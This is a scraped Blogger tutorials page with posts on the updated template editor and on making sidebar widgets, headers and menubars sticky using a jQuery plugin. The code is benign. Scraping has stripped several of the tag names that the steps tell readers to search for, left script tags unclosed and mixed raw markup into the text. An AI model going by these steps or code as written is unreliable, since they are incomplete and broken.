Unknown 0 Blogger Tutorials 02:11

How To Start A Blog With Blogger Blogspot – Beginner’s Guide

How To Start A Blog With Blogger Blogspot – Beginner’s Guide Blogger is a free blogging platform by Google. It provides all necessary ...

Remove Navbar From Blogger Without Helps Of CSS

Unknown 0 Blogger Tutorials 02:09

Remove Navbar From Blogger Without Helps Of CSS

Remove Navbar From Blogger Without Helps Of CSS Google Blogger has a navigation bar on the top of every blog by default which gets qui...

Modifications In Blogger Template Editor

Unknown 0 Blogger Tutorials 02:07

<div dir="ltr" style="text-align: left;" trbidi="on">
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSZiFFnosNXLnbf3_wGVcKI2_Ev15C5-OzGM8Ksxzs06fO7L8jYD-QgazL2FdsE3WOZthVHuNP30FU1y8vgBLeoN0Wkyzwso2DrnnTIQhyphenhyphenayLyO3_2QOhHRfr5IB9f7vShidPDfZIlHdk/s1600/Modifications-in-Blogger-Template-Editor.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="130" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSZiFFnosNXLnbf3_wGVcKI2_Ev15C5-OzGM8Ksxzs06fO7L8jYD-QgazL2FdsE3WOZthVHuNP30FU1y8vgBLeoN0Wkyzwso2DrnnTIQhyphenhyphenayLyO3_2QOhHRfr5IB9f7vShidPDfZIlHdk/s1600/Modifications-in-Blogger-Template-Editor.jpg" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><b>Modifications In Blogger Template Editor</b></td></tr>
</tbody></table>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
When I logged in after some time to manage my blog, I got to know that blogger’s template editor has been updated. Wow that’s seem nice and has some new awesome and helpful feature. It has all new features which will help you bloggers to easily updating their template and understanding the errors. Because new editor has an error rectification facility and after error it will take you to error code where error come about.</div>
<h2 style="background-color: white; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; line-height: 24px; padding: 5px 0px;">
Introduction</h2>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
If you’re new to sound the word “Template Editor” then you must have some knowledge of <a href="http://www.makingdifferent.com/category/blogger-templates/" style="color: black;" target="_blank" title="Blogger Template">Template</a> Editor. As you know blogger let you create free blog and edit it with templates editor, but you can also edit template’s code and css with using template html editor, so here is the information about how to edit html in new blogger html editor.</div>
<h2 style="background-color: white; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; line-height: 24px; padding: 5px 0px;">
Main Features</h2>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>Numbered Lines gives you better reference.</li>
<li>Error Rectification [Takes you where error comes.]</li>
<li>Indentation of Source Codes</li>
<li>Code Folding</li>
<li>Syntax Highlighting for XML, HTML and CSS</li>
<li>Easily Navigate to Widget Templates [ No need to tick Expand Widget Templates ]</li>
<li>On Page Quick Preview</li>
</ul>
<h2 style="background-color: white; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; line-height: 24px; padding: 5px 0px;">
Features in Deep</h2>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li><strong>Numbered Lines</strong></li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
Now you can see number of the lines in template editor. So you can easily refer an error if an error shows there is an error on line 307, you cannot see in older interface but new template editor let you refer to line number as it have line numbers in all lines.</div>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<img alt="numbered lines" class="size-full wp-image-1667 aligncenter" height="341" src="http://www.makingdifferent.com/wp-content/uploads/2013/04/numbered-lines.jpg" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="628" /></div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li><strong>Error Rectification</strong><br />The new feature in html editor is error rectification. This will rectify where error happen and it will highlight error. In case of you forgot to close any of tag the editor will take you to that tag that tag is not closed, so you can easily rectify error and resolve it swiftly.</li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<img alt="Error" class="size-full wp-image-1668 aligncenter" height="192" src="http://www.makingdifferent.com/wp-content/uploads/2013/04/Error.jpg" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="628" /></div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li><strong>Indentation of Source Codes</strong></li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
In programming language, we may know function easily with indentation of source code, here in template editor, blogger will do the same thing for us to easily rectify where my tag is closed and how my tag goes long to its branches and ends where. You can see in picture too.</div>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<img alt="Indentation" class="size-full wp-image-1669 aligncenter" height="170" src="http://www.makingdifferent.com/wp-content/uploads/2013/04/Indentation.jpg" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="628" /></div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li> <strong>Code Folding</strong></li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
This feature shows you code in folded way, when the code is not in use or takes too many lines it will be automatically folded, you can open and fold back too. Using an arrow you can fold and open coding as shown in image below.</div>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<img alt="code folding" class="size-full wp-image-1670 aligncenter" height="426" src="http://www.makingdifferent.com/wp-content/uploads/2013/04/code-folding.jpg" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="566" /></div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li><strong>Syntax Highlighting</strong></li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
You may see colored codes when in any tutorial. This is syntax highlighter behind those colors. So you can identify wrong css and any other tags and ignore future errors. There will be colored codes in every code of HTML, CSS3 and XML.</div>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<img alt="Syntax Highlighter" class="size-full wp-image-1671 aligncenter" height="105" src="http://www.makingdifferent.com/wp-content/uploads/2013/04/Syntax-Highlighter.jpg" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="628" /></div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li><strong>Easily Navigate to Widget Templates</strong> [ <strong><em>No need to tick Expand Widget Templates</em></strong> ]</li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
Now you can select every widget template by selecting any widget in jump to widget, widget name will be shown in jump to widget list, and when you click on any widget it will open you that widget template for you and you can easily edit its code.</div>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
So to use this you have to just click on jump to widget and select any widget and the code <b:widget> for selected widget will be in front of you.</b:widget></div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li><strong>On Page Preview</strong></li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
When in old interface, there was opening new page when you click on a preview, but now it will let you show preview in template page and so it will take no other tab on your browser ;).</div>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px; outline: none 0px;">
<h2 style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; padding: 5px 0px;">
Advantages of New Template Editor</h2>
</div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>No expand widget; you can select any <a href="http://www.makingdifferent.com/category/blogger-widgets/" style="color: black;" target="_blank" title="Blogger Widgets">widget</a> code from jump to widget section.</li>
<li>Format template, don’t worry it will format your template ;) it will just open your folded code when click on it.</li>
<li>Colorful XML, HTML and CSS3 codes for let you understand it easily and help you working with it safely.</li>
<li>In CSS codes, if you writes wrong property name it will turn red to indicate you that will be a CSS error.</li>
<li>When the error occurs, the template editor will take you to an error line, so you can save your time while in old interface there are many people stuck around finding a number of line which shows an error :D .</li>
<li>The nicer and Swifter on page preview will give you a preview in your page, however you will have a scrollbar if you are using small resolution screen, but still it nice to have on page preview to getting to a new page.</li>
<li>If any tag isn’t closed it will shows you next tag in red for improving future errors while editing your code, and it won’t let you forgot closing your tag.</li>
</ul>
<h2 style="background-color: white; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; line-height: 24px; padding: 5px 0px;">
Disadvantages of New Template Editor</h2>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>However if you wanting to switch back to old template editor interface then you can’t because blogger doesn’t have facility to switch back to it.</li>
<li>Template editor will be on page instead of a lightbox [As in older interface]. It will consume less space so it will not find too comfortable to edit in smaller screen PC or Laptop users.</li>
<li>All buttons are Near to each other, if you accidently click revert widget to default then you’ll lose if you have done custom design.</li>
<li>So I recommend you to do this only after backing up your template, because<ul>
<li>Prevention is better than cure. Your small mistake can cost you higher!</li>
</ul>
</li>
</ul>
</div>

Modifications In Blogger Template Editor

Modifications In Blogger Template Editor When I logged in after some time to manage my blog, I got to know that blogger’s template edi...

How To Create “Sticky” Sidebar Widget In Blogger Using jQuery

Unknown 0 Blogger Tutorials 02:05

<div dir="ltr" style="text-align: left;" trbidi="on">
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4Zqe8AEF548m6pyn4UE7GXWwMKtuAoHM1ape-JWx3oU4xesKiochvpg_uinMmGvuD63b2xTqqfEOhyPEtUPGKw01ZIhjLOQYd4Pm3PWAWfkwQkzql6JWai01EpMwI354rb1b-yPsMGX0/s1600/14.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><b><img border="0" height="173" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4Zqe8AEF548m6pyn4UE7GXWwMKtuAoHM1ape-JWx3oU4xesKiochvpg_uinMmGvuD63b2xTqqfEOhyPEtUPGKw01ZIhjLOQYd4Pm3PWAWfkwQkzql6JWai01EpMwI354rb1b-yPsMGX0/s1600/14.jpg" width="320" /></b></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><b>How To Create “Sticky” Sidebar Widget In Blogger Using jQuery</b></td></tr>
</tbody></table>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
I have seen at more and more website, they created sticky sidebar on their blog/websites, then today I’m here with how to create “Sticky” sidebar widget in blogger using  jQuery .</div>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
People visit your blog to read the posts, Not to see the widgets. Most of the time they open the post, scroll & read the content and left. When they are at the bottom of the post your sidebar was out of their screen. And you don’t get any benefit from it. I know you put many widgets there!</div>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
One of the best way to get benefit from your widgets is make one of your widget STICKY that scroll with user.</div>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
For example you want more subscribers then just make your Subscription Form sticky.</div>
<div class="warn" style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px; outline: none 0px;">
<span style="color: red;"><strong>Note : -</strong></span> <strong>Don’t try to stick your Google adsense ads for getting more clicks on it, your A/C can be ban or blocked by this reason.</strong></div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>You can stick your Subscription form to get more subscriber.</li>
<li>You can stick Facebook/Google Plus Widget for more Like.</li>
<li>You can stick Popular post to decrease bounce rate.</li>
<li>You can stick any offers to generate Revenue.</li>
</ul>
<h2 style="background-color: white; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; line-height: 24px; padding: 5px 0px;">
How to create sticky sidebar in blogger?</h2>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
Go to <span style="text-decoration: underline;">blogger–>Template—>Edit HTML</span><br />CTRL + F to find <strong></strong></div>
</div>
 tag in your blogs HTML<br />Copy and paste below code just above it.<b><script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"> <script type='text/javascript'> /*<![CDATA[*/ // Sticky Plugin // ============= // Author: Anthony Garand // Improvements by German M. Bravo (Kronuz) and Ruud Kamphuis (ruudk) // Created: 2/14/2011 // Date: 9/12/2011 // Website: http://labs.anthonygarand.com/sticky // Description: Makes an element on the page stick on the screen as you scroll // For Blogger by : http://www.makingdifferent.com (function($) { var defaults = { topSpacing: 0, bottomSpacing: 0, className: 'is-sticky', center: false }, $window = $(window), $document = $(document), sticked = [], windowHeight = $window.height(), scroller = function() { var scrollTop = $window.scrollTop(), documentHeight = $document.height(), dwh = documentHeight - windowHeight, extra = (scrollTop > dwh) ? dwh - scrollTop : 0; for (var i = 0; i < sticked.length; i++) { var s = sticked[i], elementTop = s.stickyWrapper.offset().top, etse = elementTop - s.topSpacing - extra; if (scrollTop <= etse) { if (s.currentTop !== null) { s.stickyElement.css('position', '').css('top', '').removeClass(s.className); s.currentTop = null; } } else { var newTop = documentHeight - s.elementHeight - s.topSpacing - s.bottomSpacing - scrollTop - extra; if (newTop < 0) { newTop = newTop + s.topSpacing; } else { newTop = s.topSpacing; } if (s.currentTop != newTop) { s.stickyElement.css('position', 'fixed').css('top', newTop).addClass(s.className); s.currentTop = newTop; } } } }, resizer = function() { windowHeight = $window.height(); }; // should be more efficient than using $window.scroll(scroller) and $window.resize(resizer): if (window.addEventListener) { window.addEventListener('scroll', scroller, false); window.addEventListener('resize', resizer, false); } else if (window.attachEvent) { window.attachEvent('onscroll', scroller); window.attachEvent('onresize', resizer); } $.fn.sticky = function(options) { var o = $.extend(defaults, options); return this.each(function() { var stickyElement = $(this); if (o.center) var centerElement = "margin-left:auto;margin-right:auto;"; stickyId = stickyElement.attr('id'); stickyElement .wrapAll('<div id="' + stickyId + 'StickyWrapper" style="' + centerElement + '"></div>
') .css('width', stickyElement.width()); var elementHeight = stickyElement.outerHeight(), stickyWrapper = stickyElement.parent(); stickyWrapper .css('width', stickyElement.outerWidth()) .css('height', elementHeight) .css('clear', stickyElement.css('clear')); sticked.push({ topSpacing: o.topSpacing, bottomSpacing: o.bottomSpacing, stickyElement: stickyElement, currentTop: null, stickyWrapper: stickyWrapper, elementHeight: elementHeight, className: o.className }); }); }; })(jQuery); /*]]>*/ </script></b><ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>Remove above red colored line if  your blog have already jQuery plugin.</li>
<li>Next search for </li>
</ul>
tag,
<li>Copy and paste below code just above it.</li>
<b><script type="text/javascript"> $(document).ready(function(){ $("#mdstickybar").sticky({topSpacing:0}); }); </script></b><ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>Now search for ]]></li>
</ul>
tag,
<li>Copy and paste below css code just above it.</li>
<b>#mdstickybar { background-color:#ECEEF5; padding-top:10px; width:300px!important; padding-bottom:15px; color:#474747; }</b><div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
You can change your widgets background color, width, text color by editing into above css code.</div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>Lastly save your template and lets try to stick any widget…</li>
<li><span style="text-decoration: underline;">Go to Layout–>Choose which widget you want to stick—>Click on edit.</span></li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<img alt="Edit" class="size-full wp-image-1726 aligncenter" height="292" src="http://www.makingdifferent.com/wp-content/uploads/2013/04/Edit.jpg" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="394" /></div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>After appearing widget page, copy the widget ID from the top address bar.</li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<img alt="Copy" class="size-full wp-image-1727 aligncenter" height="378" src="http://www.makingdifferent.com/wp-content/uploads/2013/04/Copy-.jpg" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="610" /></div>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
Blogger give automatically one uniqe ID for per widget, thats you copied ID of your widget which you want to stick .</div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>Now go to Template—>Edit HTML</li>
<li>Press CTRL + F search/find box will appear, paste your widget ID and hit enter to search your widget in the template.</li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<img alt="Search" class="size-full wp-image-1728 aligncenter" height="239" src="http://www.makingdifferent.com/wp-content/uploads/2013/04/Search.jpg" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="799" /></div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>Open folded code by clicking on black arrow</li>
<li>Your widgets full code will look like this :</li>
</ul>
<b><b:widget id="HTML1" locked="false" title="Subscribe" type="HTML"> <b:includable id="main">  <b:if cond="data:title != """> <h2 class="title">
<data:title></data:title></h2>
</b:if> <div class="widget-content">
 <data:content> </data:content></div>
<b:include name="quickedit"> </b:include></b:includable> </b:widget></b><ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>Copy and paste below code just above <b:includable id="’main’"></b:includable></li>
</ul>
<b><div id="mdstickybar">
</div>
</b><ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>Now copy and paste below code just after <data:content></data:content></li>
</ul>
<b></b><ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>Finally your code will look like this :</li>
</ul>
<b><b:widget id="HTML1" locked="false" title="Subscribe" type="HTML"> <b:includable id="main"> <div id="mdstickybar">
  <b:if cond="data:title != """> <h2 class="title">
<data:title></data:title></h2>
</b:if> <div class="widget-content">
 <data:content> </data:content></div>
</div>
<b:include name="quickedit"> </b:include></b:includable> </b:widget></b><div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
Now save your the template and see the result :D<br />Now visitors will see your sticky widget when they scroll. Hope this widget will help you get benefit from your sidebar.</div>

How To Create “Sticky” Sidebar Widget In Blogger Using jQuery

How To Create “Sticky” Sidebar Widget In Blogger Using jQuery I have seen at more and more website, they created sticky sidebar on the...

How To Stick Header Or Menubar On Scroll Down With jQuery

Unknown 0 Blogger Tutorials 01:01

<div dir="ltr" style="text-align: left;" trbidi="on">
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi70QGYWLDD9PaOSMhUO4hOe6IeHztqGA3Kg4f9cAjHwyljLThTEVoIIajE3WT9W1D_UnsQ0BcAx4yt988bPdlUDWKR36N7t_eNPYtZs4d96UJ4g03QS-H1dkuAnIXOhEO81pxEvnxkY8/s1600/How-to-stick-header-or-menubar-using-jQuery.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi70QGYWLDD9PaOSMhUO4hOe6IeHztqGA3Kg4f9cAjHwyljLThTEVoIIajE3WT9W1D_UnsQ0BcAx4yt988bPdlUDWKR36N7t_eNPYtZs4d96UJ4g03QS-H1dkuAnIXOhEO81pxEvnxkY8/s1600/How-to-stick-header-or-menubar-using-jQuery.jpg" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><b>How To Stick Header Or Menubar On Scroll Down With jQuery</b></td></tr>
</tbody></table>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
I have seen lot of other cases where jQuery simply rocks, such as its ability to talk to any DOM (Document Object Model) element and its powerful event (mouse click etc.) handling engine. I like to learn, use & share  jQuery tutorials and coding. then today i’ll show you how to stick header or menubar on scroll down.</div>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
Previously i was shared full tutorial on how to create sticky sidebar widget for blogger and wordpress, but we can do more with the same coding, actually i tried to stick header and menubar for new release “Margin” blogger template, and really it’s working great, so I’m here with the full tutorial on how to stick header or menubar on scroll down the page for blogger.</div>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
Not only header or menubar, We can stick anything by this simple jQuery . but let’s start to learn with how to stick header or menubar as example,  I’m sure after reading the full post you will understand automatically that how to stick any element, widget using the jQuery.</div>
<h3 style="background-color: white; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; line-height: 24px; padding: 5px 0px;">
How to Stick Header?</h3>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
So let’s start with stick the header (header wrapper)</div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>First of all go to <span style="text-decoration: underline;">blogger—>Template–>Edit HTML</span></li>
<li>CTRL + F to find </li>
</ul>
</div>
in your blogs HTML
<li>Copy and paste below code just above it.</li>
<b><script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"> <script type='text/javascript'> /*<![CDATA[*/ // Sticky Plugin // ============= // Author: Anthony Garand // Improvements by German M. Bravo (Kronuz) and Ruud Kamphuis (ruudk) // Created: 2/14/2011 // Date: 9/12/2011 // Website: http://labs.anthonygarand.com/sticky // Description: Makes an element on the page stick on the screen as you scroll // For blogger by : http://www.makingdifferent.com (function($) { var defaults = { topSpacing: 0, bottomSpacing: 0, className: 'is-sticky', center: false }, $window = $(window), $document = $(document), sticked = [], windowHeight = $window.height(), scroller = function() { var scrollTop = $window.scrollTop(), documentHeight = $document.height(), dwh = documentHeight - windowHeight, extra = (scrollTop > dwh) ? dwh - scrollTop : 0; for (var i = 0; i < sticked.length; i++) { var s = sticked[i], elementTop = s.stickyWrapper.offset().top, etse = elementTop - s.topSpacing - extra; if (scrollTop <= etse) { if (s.currentTop !== null) { s.stickyElement.css('position', '').css('top', '').removeClass(s.className); s.currentTop = null; } } else { var newTop = documentHeight - s.elementHeight - s.topSpacing - s.bottomSpacing - scrollTop - extra; if (newTop < 0) { newTop = newTop + s.topSpacing; } else { newTop = s.topSpacing; } if (s.currentTop != newTop) { s.stickyElement.css('position', 'fixed').css('top', newTop).addClass(s.className); s.currentTop = newTop; } } } }, resizer = function() { windowHeight = $window.height(); }; // should be more efficient than using $window.scroll(scroller) and $window.resize(resizer): if (window.addEventListener) { window.addEventListener('scroll', scroller, false); window.addEventListener('resize', resizer, false); } else if (window.attachEvent) { window.attachEvent('onscroll', scroller); window.attachEvent('onresize', resizer); } $.fn.sticky = function(options) { var o = $.extend(defaults, options); return this.each(function() { var stickyElement = $(this); if (o.center) var centerElement = "margin-left:auto;margin-right:auto;"; stickyId = stickyElement.attr('id'); stickyElement .wrapAll('<div id="' + stickyId + 'StickyWrapper" style="' + centerElement + '"></div>
') .css('width', stickyElement.width()); var elementHeight = stickyElement.outerHeight(), stickyWrapper = stickyElement.parent(); stickyWrapper .css('width', stickyElement.outerWidth()) .css('height', elementHeight) .css('clear', stickyElement.css('clear')); sticked.push({ topSpacing: o.topSpacing, bottomSpacing: o.bottomSpacing, stickyElement: stickyElement, currentTop: null, stickyWrapper: stickyWrapper, elementHeight: elementHeight, className: o.className }); }); }; })(jQuery); /*]]>*/ </script></b><div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
If your blog have already jQuery plugin then simply remove red colored line in above code.</div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>Next search for </li>
</ul>
<li>Copy and paste below code just above it.</li>
<b><script type="text/javascript"> $(document).ready(function(){ $("#mdstickmania").sticky({topSpacing:0}); }); </script></b><ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>Now search for below code in your blogs HTML</li>
</ul>
<b><div id="header-wrapper">
</div>
</b><div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
Or</div>
<b><div class="header-wrapper">
</div>
</b><ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li><strong>Full code will look like this :</strong></li>
</ul>
<b><div id="header-wrapper">
 <b:section class="header" id="header" maxwidgets="1" showaddelement="no"> <b:widget id="Header1" locked="true" title="Your Blogs Name (Header)" type="Header"> <b:includable id="main"> /---------Some code here-----/ </b:includable> </b:widget> </b:section> </div>
</b><ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>Now Copy and paste below code just above <div id="’header-wrapper’">
</div>
</li>
</ul>
<b><div id="mdstickmania">
</div>
</b><ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>Now close the “div” by adding </li>
</ul>
at end of the code.<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li><strong>Finally your code will look like this :</strong></li>
</ul>
<b><div id="mdstickmania">
 <div id="header-wrapper">
 <b:section class="header" id="header" maxwidgets="1" showaddelement="no"> <b:widget id="Header1" locked="true" title="Your Blogs Name (Header)" type="Header"> <b:includable id="main"> /---------Some code here-----/ </b:includable> </b:widget> </b:section> </div>
</div>
</b><div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
Now save your template and see the result. Now visitors will see your sticky header when they scroll down.</div>
<h3 style="background-color: white; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; line-height: 24px; padding: 5px 0px;">
How to Stick Menubar?</h3>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
Whenever you want to stick menubar then you need to add <div id="”mdstickmania”">
 in your menubar HTML code and close the “div” as example below :</div>
</div>
<b><div id="mdstickmania">
 <ul class="classname">
<li><a href="https://www.blogger.com/blogger.g?blogID=4341157207596504523#">About Us</a></li>
<li><a href="https://www.blogger.com/blogger.g?blogID=4341157207596504523#">Advertise</a></li>
<li><a href="https://www.blogger.com/blogger.g?blogID=4341157207596504523#">Contact us</a></li>
<li><a href="https://www.blogger.com/blogger.g?blogID=4341157207596504523#">Become an author</a></li>
<li><a href="https://www.blogger.com/blogger.g?blogID=4341157207596504523#">Submit tips</a></li>
</ul>
</div>
</b><div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
Now i think you have understand that how it works and how to stick other elements of your blogs, if you still not understand then.</div>

How To Stick Header Or Menubar On Scroll Down With jQuery

How To Stick Header Or Menubar On Scroll Down With jQuery I have seen lot of other cases where jQuery simply rocks, such as its abilit...

